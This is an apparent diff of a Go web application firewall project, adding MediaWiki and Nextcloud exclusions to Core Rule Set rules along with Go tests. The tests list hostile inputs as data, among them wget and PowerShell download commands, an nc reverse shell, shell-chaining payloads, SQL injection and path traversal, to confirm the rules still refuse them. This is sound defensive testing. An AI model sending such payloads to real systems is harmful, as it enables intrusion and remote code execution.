# once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+701
View File
@@ -0,0 +1,701 @@
package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiAccountChange is the page that changes a password.
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
// mediawikiSignUp is the page that creates an account.
const mediawikiSignUp = "/wiki/Special:CreateAccount"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s on %s refused: %+v",
r.target,
body,
otherHost,
got,
)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s on %s let through: %+v",
r.target,
body,
giteaHost,
got,
)
}
}
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
},
})
// Passwords that only the phase 2 rules 900919 and 900920 let through,
// each sent with the authAction of its form.
for _, sent := range []struct{ target, body string }{
{
mediawikiAccountChange,
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
},
{
mediawikiSignUp,
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s on %s refused: %+v",
r.target,
sent.body,
otherHost,
got,
)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s on %s let through: %+v",
r.target,
sent.body,
giteaHost,
got,
)
}
}
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
t.Parallel()
// The form that changes a password posts to this subpage.
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
// The forms send authAction in the body, and MediaWiki reads it from the
// query too. These requests send it in the query, so that the body holds
// only the passwords. The recorded requests send it in the body.
const (
create = "authAction=create"
loginContinue = "authAction=login-continue"
changeAction = "authAction=change"
)
change := []string{passwordKey, retypeKey}
retype := []string{retypeKey}
wantPasswordFieldsPass(t, []passwordFields{
{mediawikiSignUp + "?" + create, formData, retype},
{"/index.php/Special:CreateAccount?" + create, formData, retype},
{
"/index.php?title=Special:CreateAccount&returnto=Main_Page&" + create,
formData, retype,
},
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change},
{
mediawikiAccountChange + subpage + "?" + changeAction,
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change,
},
{
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages.
{
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype,
},
{
"/wiki/Spezial:Anmeldeinformationen_%C3%A4ndern" + subpage + "?" + changeAction,
formData, change,
},
{mediawikiAPI, formData, retype},
})
}
// Other apps use the names password and retype too. So these fields keep every
// rule unless the page is MediaWiki's, its title has a namespace, and
// authAction names a form that sends the field.
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
t.Parallel()
const appPath = "/index.php/apps/mail/api/accounts"
crs := readingBodies(t)
for _, sent := range []struct{ target, name string }{
{appPath, passwordKey},
{appPath + "?authAction=create", retypeKey},
{appPath + "?title=Special:ChangeCredentials&authAction=change", passwordKey},
{appPath + "?title=Special:CreateAccount&authAction=create", retypeKey},
{"/index.php?title=Main_Page&authAction=change", passwordKey},
{"/index.php/Main_Page?authAction=create", retypeKey},
{"/wiki/Main_Page?authAction=change", passwordKey},
{mediawikiAccountChange, passwordKey},
{mediawikiAccountChange + "?authAction=login", passwordKey},
{mediawikiSignUp + "?authAction=create", passwordKey},
{"/index.php?title=Special:CreateAccount&authAction=create", passwordKey},
{"/index.php/Spezial:Anmelden?authAction=login", retypeKey},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
}
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append(
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
// A watchlist holds the title on its second line, as recorded.
r := request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
+455
View File
@@ -0,0 +1,455 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
# serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields.
#
# A comment, a share's note and an account's status hold sentences a person
# writes. Four more rules refused ordinary sentences there:
# 932125: It is fixed; diff attached
# 932230: Run python3 or powershell; ls -la shows .htaccess
# 932235: We need more time; find the old notes first
# 932380: Tested on Windows; powershell works
# The text of a document holds such sentences too, and code blocks. Two more
# rules refused a shell script in a code block:
# 932160: #!/bin/bash
# 932370: ```bash, which starts the code block
# These fields skip the rules that refused them. So a shell command such as
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
# it while SWW_WAF_APPS is unset, or lists nextcloud for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900125,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The other passwords, in form data or JSON, skip the same rules:
# password: confirming the password, resetting it, checking a sign-in with
# person/check, a public share's password, setting a share's password or
# sending it by email, creating or editing a user, and an administrator
# changing a user's password
# oldpassword, newpassword: changing the password on the settings page
# oldPassword, newPassword: changing an expired LDAP password, and changing
# the password of the encryption app's private key or recovery key
# recoveryPassword: an administrator changing the password of an encrypted
# account, or setting the encryption app's recovery key
# confirmPassword: the encryption app's recovery key, typed again
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
"id:900126,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
